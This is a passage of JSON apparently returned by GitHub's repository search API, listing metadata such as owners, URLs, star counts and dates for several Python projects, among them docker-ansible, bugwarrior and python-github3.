thon","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":8,"mirror_url":null,"open_issues_count":18,"forks":8,"open_issues":18,"watchers":92,"default_branch":"develop","master_branch":"develop","score":3.960822},{"id":10574482,"name":"docker-ansible","full_name":"cove/docker-ansible","owner":{"login":"cove","id":612300,"avatar_url":"https://avatars.githubusercontent.com/u/612300","gravatar_id":"2d1b3ab8c563c220d681a09395319ace","url":"https://api.github.com/users/cove","html_url":"https://github.com/cove","followers_url":"https://api.github.com/users/cove/followers","following_url":"https://api.github.com/users/cove/following{/other_user}","gists_url":"https://api.github.com/users/cove/gists{/gist_id}","starred_url":"https://api.github.com/users/cove/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cove/subscriptions","organizations_url":"https://api.github.com/users/cove/orgs","repos_url":"https://api.github.com/users/cove/repos","events_url":"https://api.github.com/users/cove/events{/privacy}","received_events_url":"https://api.github.com/users/cove/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/cove/docker-ansible","description":"Ansible module for Docker. Note: This module is now part of Ansible core, please see https://github.com/ansible/ansible.","fork":false,"url":"https://api.github.com/repos/cove/docker-ansible","forks_url":"https://api.github.com/repos/cove/docker-ansible/forks","keys_url":"https://api.github.com/repos/cove/docker-ansible/keys{/key_id}","collaborators_url":"https://api.github.com/repos/cove/docker-ansible/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/cove/docker-ansible/teams","hooks_url":"https://api.github.com/repos/cove/docker-ansible/hooks","issue_events_url":"https://api.github.com/repos/cove/docker-ansible/issues/events{/number}","events_url":"https://api.github.com/repos/cove/docker-ansible/events","assignees_url":"https://api.github.com/repos/cove/docker-ansible/assignees{/user}","branches_url":"https://api.github.com/repos/cove/docker-ansible/branches{/branch}","tags_url":"https://api.github.com/repos/cove/docker-ansible/tags","blobs_url":"https://api.github.com/repos/cove/docker-ansible/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/cove/docker-ansible/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/cove/docker-ansible/git/refs{/sha}","trees_url":"https://api.github.com/repos/cove/docker-ansible/git/trees{/sha}","statuses_url":"https://api.github.com/repos/cove/docker-ansible/statuses/{sha}","languages_url":"https://api.github.com/repos/cove/docker-ansible/languages","stargazers_url":"https://api.github.com/repos/cove/docker-ansible/stargazers","contributors_url":"https://api.github.com/repos/cove/docker-ansible/contributors","subscribers_url":"https://api.github.com/repos/cove/docker-ansible/subscribers","subscription_url":"https://api.github.com/repos/cove/docker-ansible/subscription","commits_url":"https://api.github.com/repos/cove/docker-ansible/commits{/sha}","git_commits_url":"https://api.github.com/repos/cove/docker-ansible/git/commits{/sha}","comments_url":"https://api.github.com/repos/cove/docker-ansible/comments{/number}","issue_comment_url":"https://api.github.com/repos/cove/docker-ansible/issues/comments/{number}","contents_url":"https://api.github.com/repos/cove/docker-ansible/contents/{+path}","compare_url":"https://api.github.com/repos/cove/docker-ansible/compare/{base}...{head}","merges_url":"https://api.github.com/repos/cove/docker-ansible/merges","archive_url":"https://api.github.com/repos/cove/docker-ansible/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/cove/docker-ansible/downloads","issues_url":"https://api.github.com/repos/cove/docker-ansible/issues{/number}","pulls_url":"https://api.github.com/repos/cove/docker-ansible/pulls{/number}","milestones_url":"https://api.github.com/repos/cove/docker-ansible/milestones{/number}","notifications_url":"https://api.github.com/repos/cove/docker-ansible/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/cove/docker-ansible/labels{/name}","releases_url":"https://api.github.com/repos/cove/docker-ansible/releases{/id}","created_at":"2013-06-08T21:26:20Z","updated_at":"2014-01-16T10:51:36Z","pushed_at":"2013-11-17T00:20:57Z","git_url":"git://github.com/cove/docker-ansible.git","ssh_url":"git@github.com:cove/docker-ansible.git","clone_url":"https://github.com/cove/docker-ansible.git","svn_url":"https://github.com/cove/docker-ansible","homepage":"","size":316,"stargazers_count":100,"watchers_count":100,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":16,"mirror_url":null,"open_issues_count":0,"forks":16,"open_issues":0,"watchers":100,"default_branch":"master","master_branch":"master","score":7.451908},{"id":865573,"name":"snipt-old","full_name":"nicksergeant/snipt-old","owner":{"login":"nicksergeant","id":27332,"avatar_url":"https://avatars.githubusercontent.com/u/27332","gravatar_id":"a74159ce0c29f89b75a25037e40b27a4","url":"https://api.github.com/users/nicksergeant","html_url":"https://github.com/nicksergeant","followers_url":"https://api.github.com/users/nicksergeant/followers","following_url":"https://api.github.com/users/nicksergeant/following{/other_user}","gists_url":"https://api.github.com/users/nicksergeant/gists{/gist_id}","starred_url":"https://api.github.com/users/nicksergeant/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nicksergeant/subscriptions","organizations_url":"https://api.github.com/users/nicksergeant/orgs","repos_url":"https://api.github.com/users/nicksergeant/repos","events_url":"https://api.github.com/users/nicksergeant/events{/privacy}","received_events_url":"https://api.github.com/users/nicksergeant/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/nicksergeant/snipt-old","description":"The old codebase for Snipt.net. You probably don't want this. Head to https://github.com/nicksergeant/snipt instead.","fork":false,"url":"https://api.github.com/repos/nicksergeant/snipt-old","forks_url":"https://api.github.com/repos/nicksergeant/snipt-old/forks","keys_url":"https://api.github.com/repos/nicksergeant/snipt-old/keys{/key_id}","collaborators_url":"https://api.github.com/repos/nicksergeant/snipt-old/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/nicksergeant/snipt-old/teams","hooks_url":"https://api.github.com/repos/nicksergeant/snipt-old/hooks","issue_events_url":"https://api.github.com/repos/nicksergeant/snipt-old/issues/events{/number}","events_url":"https://api.github.com/repos/nicksergeant/snipt-old/events","assignees_url":"https://api.github.com/repos/nicksergeant/snipt-old/assignees{/user}","branches_url":"https://api.github.com/repos/nicksergeant/snipt-old/branches{/branch}","tags_url":"https://api.github.com/repos/nicksergeant/snipt-old/tags","blobs_url":"https://api.github.com/repos/nicksergeant/snipt-old/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/nicksergeant/snipt-old/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/nicksergeant/snipt-old/git/refs{/sha}","trees_url":"https://api.github.com/repos/nicksergeant/snipt-old/git/trees{/sha}","statuses_url":"https://api.github.com/repos/nicksergeant/snipt-old/statuses/{sha}","languages_url":"https://api.github.com/repos/nicksergeant/snipt-old/languages","stargazers_url":"https://api.github.com/repos/nicksergeant/snipt-old/stargazers","contributors_url":"https://api.github.com/repos/nicksergeant/snipt-old/contributors","subscribers_url":"https://api.github.com/repos/nicksergeant/snipt-old/subscribers","subscription_url":"https://api.github.com/repos/nicksergeant/snipt-old/subscription","commits_url":"https://api.github.com/repos/nicksergeant/snipt-old/commits{/sha}","git_commits_url":"https://api.github.com/repos/nicksergeant/snipt-old/git/commits{/sha}","comments_url":"https://api.github.com/repos/nicksergeant/snipt-old/comments{/number}","issue_comment_url":"https://api.github.com/repos/nicksergeant/snipt-old/issues/comments/{number}","contents_url":"https://api.github.com/repos/nicksergeant/snipt-old/contents/{+path}","compare_url":"https://api.github.com/repos/nicksergeant/snipt-old/compare/{base}...{head}","merges_url":"https://api.github.com/repos/nicksergeant/snipt-old/merges","archive_url":"https://api.github.com/repos/nicksergeant/snipt-old/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/nicksergeant/snipt-old/downloads","issues_url":"https://api.github.com/repos/nicksergeant/snipt-old/issues{/number}","pulls_url":"https://api.github.com/repos/nicksergeant/snipt-old/pulls{/number}","milestones_url":"https://api.github.com/repos/nicksergeant/snipt-old/milestones{/number}","notifications_url":"https://api.github.com/repos/nicksergeant/snipt-old/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/nicksergeant/snipt-old/labels{/name}","releases_url":"https://api.github.com/repos/nicksergeant/snipt-old/releases{/id}","created_at":"2010-08-27T04:04:35Z","updated_at":"2013-11-13T18:32:02Z","pushed_at":"2012-09-19T00:09:48Z","git_url":"git://github.com/nicksergeant/snipt-old.git","ssh_url":"git@github.com:nicksergeant/snipt-old.git","clone_url":"https://github.com/nicksergeant/snipt-old.git","svn_url":"https://github.com/nicksergeant/snipt-old","homepage":"https://snipt.net","size":670,"stargazers_count":88,"watchers_count":88,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":false,"forks_count":7,"mirror_url":null,"open_issues_count":0,"forks":7,"open_issues":0,"watchers":88,"default_branch":"master","master_branch":"master","score":5.22918},{"id":688960,"name":"django-class-based-views","full_name":"bfirsh/django-class-based-views","owner":{"login":"bfirsh","id":40906,"avatar_url":"https://avatars.githubusercontent.com/u/40906","gravatar_id":"011ce2693e5feec652d9ff2cc1b90d15","url":"https://api.github.com/users/bfirsh","html_url":"https://github.com/bfirsh","followers_url":"https://api.github.com/users/bfirsh/followers","following_url":"https://api.github.com/users/bfirsh/following{/other_user}","gists_url":"https://api.github.com/users/bfirsh/gists{/gist_id}","starred_url":"https://api.github.com/users/bfirsh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bfirsh/subscriptions","organizations_url":"https://api.github.com/users/bfirsh/orgs","repos_url":"https://api.github.com/users/bfirsh/repos","events_url":"https://api.github.com/users/bfirsh/events{/privacy}","received_events_url":"https://api.github.com/users/bfirsh/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/bfirsh/django-class-based-views","description":"Work on class-based views, now part of Django 1.3. For a backport to Django 1.2, see https://github.com/sorl/django-cbv","fork":false,"url":"https://api.github.com/repos/bfirsh/django-class-based-views","forks_url":"https://api.github.com/repos/bfirsh/django-class-based-views/forks","keys_url":"https://api.github.com/repos/bfirsh/django-class-based-views/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bfirsh/django-class-based-views/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bfirsh/django-class-based-views/teams","hooks_url":"https://api.github.com/repos/bfirsh/django-class-based-views/hooks","issue_events_url":"https://api.github.com/repos/bfirsh/django-class-based-views/issues/events{/number}","events_url":"https://api.github.com/repos/bfirsh/django-class-based-views/events","assignees_url":"https://api.github.com/repos/bfirsh/django-class-based-views/assignees{/user}","branches_url":"https://api.github.com/repos/bfirsh/django-class-based-views/branches{/branch}","tags_url":"https://api.github.com/repos/bfirsh/django-class-based-views/tags","blobs_url":"https://api.github.com/repos/bfirsh/django-class-based-views/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bfirsh/django-class-based-views/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bfirsh/django-class-based-views/git/refs{/sha}","trees_url":"https://api.github.com/repos/bfirsh/django-class-based-views/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bfirsh/django-class-based-views/statuses/{sha}","languages_url":"https://api.github.com/repos/bfirsh/django-class-based-views/languages","stargazers_url":"https://api.github.com/repos/bfirsh/django-class-based-views/stargazers","contributors_url":"https://api.github.com/repos/bfirsh/django-class-based-views/contributors","subscribers_url":"https://api.github.com/repos/bfirsh/django-class-based-views/subscribers","subscription_url":"https://api.github.com/repos/bfirsh/django-class-based-views/subscription","commits_url":"https://api.github.com/repos/bfirsh/django-class-based-views/commits{/sha}","git_commits_url":"https://api.github.com/repos/bfirsh/django-class-based-views/git/commits{/sha}","comments_url":"https://api.github.com/repos/bfirsh/django-class-based-views/comments{/number}","issue_comment_url":"https://api.github.com/repos/bfirsh/django-class-based-views/issues/comments/{number}","contents_url":"https://api.github.com/repos/bfirsh/django-class-based-views/contents/{+path}","compare_url":"https://api.github.com/repos/bfirsh/django-class-based-views/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bfirsh/django-class-based-views/merges","archive_url":"https://api.github.com/repos/bfirsh/django-class-based-views/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bfirsh/django-class-based-views/downloads","issues_url":"https://api.github.com/repos/bfirsh/django-class-based-views/issues{/number}","pulls_url":"https://api.github.com/repos/bfirsh/django-class-based-views/pulls{/number}","milestones_url":"https://api.github.com/repos/bfirsh/django-class-based-views/milestones{/number}","notifications_url":"https://api.github.com/repos/bfirsh/django-class-based-views/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bfirsh/django-class-based-views/labels{/name}","releases_url":"https://api.github.com/repos/bfirsh/django-class-based-views/releases{/id}","created_at":"2010-05-27T09:41:08Z","updated_at":"2013-10-09T07:00:13Z","pushed_at":"2010-10-12T22:37:43Z","git_url":"git://github.com/bfirsh/django-class-based-views.git","ssh_url":"git@github.com:bfirsh/django-class-based-views.git","clone_url":"https://github.com/bfirsh/django-class-based-views.git","svn_url":"https://github.com/bfirsh/django-class-based-views","homepage":"http://code.djangoproject.com/ticket/6735","size":146,"stargazers_count":82,"watchers_count":82,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":9,"mirror_url":null,"open_issues_count":2,"forks":9,"open_issues":2,"watchers":82,"default_branch":"master","master_branch":"master","score":5.0480146},{"id":1573719,"name":"python-github3","full_name":"kennethreitz-archive/python-github3","owner":{"login":"kennethreitz-archive","id":2083354,"avatar_url":"https://avatars.githubusercontent.com/u/2083354","gravatar_id":"39004cc26cddad79ad533e8d12766f5c","url":"https://api.github.com/users/kennethreitz-archive","html_url":"https://github.com/kennethreitz-archive","followers_url":"https://api.github.com/users/kennethreitz-archive/followers","following_url":"https://api.github.com/users/kennethreitz-archive/following{/other_user}","gists_url":"https://api.github.com/users/kennethreitz-archive/gists{/gist_id}","starred_url":"https://api.github.com/users/kennethreitz-archive/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kennethreitz-archive/subscriptions","organizations_url":"https://api.github.com/users/kennethreitz-archive/orgs","repos_url":"https://api.github.com/users/kennethreitz-archive/repos","events_url":"https://api.github.com/users/kennethreitz-archive/events{/privacy}","received_events_url":"https://api.github.com/users/kennethreitz-archive/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/kennethreitz-archive/python-github3","description":"[In Progress] Python wrapper for the new GitHub API.","fork":false,"url":"https://api.github.com/repos/kennethreitz-archive/python-github3","forks_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/forks","keys_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/keys{/key_id}","collaborators_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/teams","hooks_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/hooks","issue_events_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/issues/events{/number}","events_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/events","assignees_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/assignees{/user}","branches_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/branches{/branch}","tags_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/tags","blobs_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/git/refs{/sha}","trees_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/git/trees{/sha}","statuses_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/statuses/{sha}","languages_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/languages","stargazers_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/stargazers","contributors_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/contributors","subscribers_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/subscribers","subscription_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/subscription","commits_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/commits{/sha}","git_commits_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/git/commits{/sha}","comments_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/comments{/number}","issue_comment_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/issues/comments/{number}","contents_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/contents/{+path}","compare_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/compare/{base}...{head}","merges_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/merges","archive_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/downloads","issues_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/issues{/number}","pulls_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/pulls{/number}","milestones_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/milestones{/number}","notifications_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/labels{/name}","releases_url":"https://api.github.com/repos/kennethreitz-archive/python-github3/releases{/id}","created_at":"2011-04-05T19:54:24Z","updated_at":"2014-01-06T07:29:11Z","pushed_at":"2011-12-27T04:39:43Z","git_url":"git://github.com/kennethreitz-archive/python-github3.git","ssh_url":"git@github.com:kennethreitz-archive/python-github3.git","clone_url":"https://github.com/kennethreitz-archive/python-github3.git","svn_url":"https://github.com/kennethreitz-archive/python-github3","homepage":"developer.github.com/v3","size":181,"stargazers_count":80,"watchers_count":80,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":52,"mirror_url":null,"open_issues_count":1,"forks":52,"open_issues":1,"watchers":80,"default_branch":"master","master_branch":"master","score":21.971436},{"id":178899,"name":"github-tools","full_name":"dinoboff/github-tools","owner":{"login":"dinoboff","id":6830,"avatar_url":"https://avatars.githubusercontent.com/u/6830","gravatar_id":"16ceb28d7e6867f78e92c3b82ac01b48","url":"https://api.github.com/users/dinoboff","html_url":"https://github.com/dinoboff","followers_url":"https://api.github.com/users/dinoboff/followers","following_url":"https://api.github.com/users/dinoboff/following{/other_user}","gists_url":"https://api.github.com/users/dinoboff/gists{/gist_id}","starred_url":"https://api.github.com/users/dinoboff/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dinoboff/subscriptions","organizations_url":"https://api.github.com/users/dinoboff/orgs","repos_url":"https://api.github.com/users/dinoboff/repos","events_url":"https://api.github.com/users/dinoboff/events{/privacy}","received_events_url":"https://api.github.com/users/dinoboff/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/dinoboff/github-tools","description":"Helpers for hosting python projects on GitHub","fork":false,"url":"https://api.github.com/repos/dinoboff/github-tools","forks_url":"https://api.github.com/repos/dinoboff/github-tools/forks","keys_url":"https://api.github.com/repos/dinoboff/github-tools/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dinoboff/github-tools/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dinoboff/github-tools/teams","hooks_url":"https://api.github.com/repos/dinoboff/github-tools/hooks","issue_events_url":"https://api.github.com/repos/dinoboff/github-tools/issues/events{/number}","events_url":"https://api.github.com/repos/dinoboff/github-tools/events","assignees_url":"https://api.github.com/repos/dinoboff/github-tools/assignees{/user}","branches_url":"https://api.github.com/repos/dinoboff/github-tools/branches{/branch}","tags_url":"https://api.github.com/repos/dinoboff/github-tools/tags","blobs_url":"https://api.github.com/repos/dinoboff/github-tools/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dinoboff/github-tools/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dinoboff/github-tools/git/refs{/sha}","trees_url":"https://api.github.com/repos/dinoboff/github-tools/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dinoboff/github-tools/statuses/{sha}","languages_url":"https://api.github.com/repos/dinoboff/github-tools/languages","stargazers_url":"https://api.github.com/repos/dinoboff/github-tools/stargazers","contributors_url":"https://api.github.com/repos/dinoboff/github-tools/contributors","subscribers_url":"https://api.github.com/repos/dinoboff/github-tools/subscribers","subscription_url":"https://api.github.com/repos/dinoboff/github-tools/subscription","commits_url":"https://api.github.com/repos/dinoboff/github-tools/commits{/sha}","git_commits_url":"https://api.github.com/repos/dinoboff/github-tools/git/commits{/sha}","comments_url":"https://api.github.com/repos/dinoboff/github-tools/comments{/number}","issue_comment_url":"https://api.github.com/repos/dinoboff/github-tools/issues/comments/{number}","contents_url":"https://api.github.com/repos/dinoboff/github-tools/contents/{+path}","compare_url":"https://api.github.com/repos/dinoboff/github-tools/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dinoboff/github-tools/merges","archive_url":"https://api.github.com/repos/dinoboff/github-tools/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dinoboff/github-tools/downloads","issues_url":"https://api.github.com/repos/dinoboff/github-tools/issues{/number}","pulls_url":"https://api.github.com/repos/dinoboff/github-tools/pulls{/number}","milestones_url":"https://api.github.com/repos/dinoboff/github-tools/milestones{/number}","notifications_url":"https://api.github.com/repos/dinoboff/github-tools/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dinoboff/github-tools/labels{/name}","releases_url":"https://api.github.com/repos/dinoboff/github-tools/releases{/id}","created_at":"2009-04-17T22:01:03Z","updated_at":"2013-10-31T08:20:36Z","pushed_at":"2011-09-29T09:10:26Z","git_url":"git://github.com/dinoboff/github-tools.git","ssh_url":"git@github.com:dinoboff/github-tools.git","clone_url":"https://github.com/dinoboff/github-tools.git","svn_url":"https://github.com/dinoboff/github-tools","homepage":"http://dinoboff.github.com/github-tools/","size":483,"stargazers_count":79,"watchers_count":79,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":false,"forks_count":5,"mirror_url":null,"open_issues_count":2,"forks":5,"open_issues":2,"watchers":79,"default_branch":"master","master_branch":"master","score":11.083623},{"id":2985492,"name":"bugwarrior","full_name":"ralphbean/bugwarrior","owner":{"login":"ralphbean","id":331338,"avatar_url":"https://avatars.githubusercontent.com/u/331338","gravatar_id":"ba940b433c2695635d32d2c4aec00540","url":"https://api.github.com/users/ralphbean","html_url":"https://github.com/ralphbean","followers_url":"https://api.github.com/users/ralphbean/followers","following_url":"https://api.github.com/users/ralphbean/following{/other_user}","gists_url":"https://api.github.com/users/ralphbean/gists{/gist_id}","starred_url":"https://api.github.com/users/ralphbean/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ralphbean/subscriptions","organizations_url":"https://api.github.com/users/ralphbean/orgs","repos_url":"https://api.github.com/users/ralphbean/repos","events_url":"https://api.github.com/users/ralphbean/events{/privacy}","received_events_url":"https://api.github.com/users/ralphbean/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/ralphbean/bugwarrior","description":"Pull github, bitbucket, and trac issues into taskwarrior","fork":false,"url":"https://api.github.com/repos/ralphbean/bugwarrior","forks_url":"https://api.github.com/repos/ralphbean/bugwarrior/forks","keys_url":"https://api.github.com/repos/ralphbean/bugwarrior/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ralphbean/bugwarrior/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ralphbean/bugwarrior/teams","hooks_url":"https://api.github.com/repos/ralphbean/bugwarrior/hooks","issue_events_url":"https://api.github.com/repos/ralphbean/bugwarrior/issues/events{/number}","events_url":"https://api.github.com/repos/ralphbean/bugwarrior/events","assignees_url":"https://api.github.com/repos/ralphbean/bugwarrior/assignees{/user}","branches_url":"https://api.github.com/repos/ralphbean/bugwarrior/branches{/branch}","tags_url":"https://api.github.com/repos/ralphbean/bugwarrior/tags","blobs_url":"https://api.github.com/repos/ralphbean/bugwarrior/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ralphbean/bugwarrior/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ralphbean/bugwarrior/git/refs{/sha}","trees_url":"https://api.github.com/repos/ralphbean/bugwarrior/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ralphbean/bugwarrior/statuses/{sha}","languages_url":"https://api.github.com/repos/ralphbean/bugwarrior/languages","stargazers_url":"https://api.github.com/repos/ralphbean/bugwarrior/stargazers","contributors_url":"https://api.github.com/repos/ralphbean/bugwarrior/contributors","subscribers_url":"https://api.github.com/repos/ralphbean/bugwarrior/subscribers","subscription_url":"https://api.github.com/repos/ralphbean/bugwarrior/subscription","commits_url":"https://api.github.com/repos/ralphbean/bugwarrior/commits{/sha}","git_commits_url":"https://api.github.com/repos/ralphbean/bugwarrior/git/commits{/sha}","comments_url":"https://api.github.com/repos/ralphbean/bugwarrior/comments{/number}","issue_comment_url":"https://api.github.com/repos/ralphbean/bugwarrior/issues/comments/{number}","contents_url":"https://api.github.com/repos/ralphbean/bugwarrior/contents/{+path}","compare_url":"https://api.github.com/repos/ralphbean/bugwarrior/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ralphbean/bugwarrior/merges","archive_url":"https://api.github.com/repos/ralphbean/bugwarrior/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ralphbean/bugwarrior/downloads","issues_url":"https://api.github.com/repos/ralphbean/bugwarrior/issues{/number}","pulls_url":"https://api.github.com/repos/ralphbean/bugwarrior/pulls{/number}","milestones_url":"https://api.github.com/repos/ralphbean/bugwarrior/milestones{/number}","notifications_url":"https://api.github.com/repos/ralphbean/bugwarrior/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ralphbean/bugwarrior/labels{/name}","releases_url":"https://api.github.com/repos/ralphbean/bugwarrior/releases{/id}","created_at":"2011-12-15T05:02:33Z","updated_at":"2014-02-14T19:44:10Z","pushed_at":"2014-02-14T19:44:09Z","git_url":"git://github.com/ralphbean/bugwarrior.git","ssh_url":"git@github.com:ralphbean/bugwarrior.git","clone_url":"https://github.com/ralphbean/bugwarrior.git","svn_url":"https://github.com/ralphbean/bugwarrior","homepage":"http://pypi.python.org/pypi/bugwarrior","size":766,"stargazers_count":82,"watchers_count":82,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":27,"mirror_url":null,"open_issues_count":14,"forks":27,"open_issues":14,"watchers":82,"default_branch":"develop","master_branch":"develop","score":12.610705},{"id":9423725,"name":"github-network-analysis","full_name":"coyotebush/github-network-analysis","owner":{"login":"coyotebush","id":227091,"avatar_url":"https://avatars.githubusercontent.com/u/227091","gravatar_id":"c6d20de3d11eaaad7278a76dc25296a4","url":"https://api.github.com/users/coyotebush","html_url":"https://github.com/coyotebush","followers_url":"https://api.github.com/users/coyotebush/followers","following_url":"https://api.github.com/users/coyotebush/following{/other_user}","gists_url":"https://api.github.com/users/coyotebush/gists{/gist_id}","starred_url":"https://api.github.com/users/coyotebush/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coyotebush/subscriptions","organizations_url":"https://api.github.com/users/coyotebush/orgs","repos_url":"https://api.github.com/users/coyotebush/repos","events_url":"https://api.github.com/users/coyotebush/events{/privacy}","received_events_url":"https://api.github.com/users/coyotebush/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/coyotebush/github-network-analysis","description":"Analysis and visualization of top GitHub repositories","fork":false,"url":"https://api.github.com/repos/coyotebush/github-network-analysis","forks_url":"https://api.github.com/repos/coyotebush/github-network-analysis/forks","keys_url":"https://api.github.com/repos/coyotebush/github-network-analysis/keys{/key_id}","collaborators_url":"https://api.github.com/repos/coyotebush/github-network-analysis/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/coyotebush/github-network-analysis/teams","hooks_url":"https://api.github.com/repos/coyotebush/github-network-analysis/hooks","issue_events_url":"https://api.github.com/repos/coyotebush/github-network-analysis/issues/events{/number}","events_url":"https://api.github.com/repos/coyotebush/github-network-analysis/events","assignees_url":"https://api.github.com/repos/coyotebush/github-network-analysis/assignees{/user}","branches_url":"https://api.github.com/repos/coyotebush/github-network-analysis/branches{/branch}","tags_url":"https://api.github.com/repos/coyotebush/github-network-analysis/tags","blobs_url":"https://api.github.com/repos/coyotebush/github-network-analysis/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/coyotebush/github-network-analysis/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/coyotebush/github-network-analysis/git/refs{/sha}","trees_url":"https://api.github.com/repos/coyotebush/github-network-analysis/git/trees{/sha}","statuses_url":"https://api.github.com/repos/coyotebush/github-network-analysis/statuses/{sha}","languages_url":"https://api.github.com/repos/coyotebush/github-network-analysis/languages","stargazers_url":"https://api.github.com/repos/coyotebush/github-network-analysis/stargazers","contributors_url":"https://api.github.com/repos/coyotebush/github-network-analysis/contributors","subscribers_url":"https://api.github.com/repos/coyotebush/github-network-analysis/subscribers","subscription_url":"https://api.github.com/repos/coyotebush/github-network-analysis/subscription","commits_url":"https://api.github.com/repos/coyotebush/github-network-analysis/commits{/sha}","git_commits_url":"https://api.github.com/repos/coyotebush/github-network-analysis/git/commits{/sha}","comments_url":"https://api.github.com/repos/coyotebush/github-network-analysis/comments{/number}","issue_comment_url":"https://api.github.com/repos/coyotebush/github-network-analysis/issues/comments/{number}","contents_url":"https://api.github.com/repos/coyotebush/github-network-analysis/contents/{+path}","compare_url":"https://api.github.com/repos/coyotebush/github-network-analysis/compare/{base}...{head}","merges_url":"https://api.github.com/repos/coyotebush/github-network-analysis/merges","archive_url":"https://api.github.com/repos/coyotebush/github-network-analysis/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/coyotebush/github-network-analysis/downloads","issues_url":"https://api.github.com/repos/coyotebush/github-network-analysis/issues{/number}","pulls_url":"https://api.github.com/repos/coyotebush/github-network-analysis/pulls{/number}","milestones_url":"https://api.github.com/repos/coyotebush/github-network-analysis/milestones{/number}","notifications_url":"https://api.github.com/repos/coyotebush/github-network-analysis/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/coyotebush/github-network-analysis/labels{/name}","releases_url":"https://api.github.com/repos/coyotebush/github-network-analysis/releases{/id}","created_at":"2013-04-14T03:10:15Z","updated_at":"2013-12-31T03:55:51Z","pushed_at":"2013-05-06T18:32:33Z","git_url":"git://github.com/coyotebush/github-network-analysis.g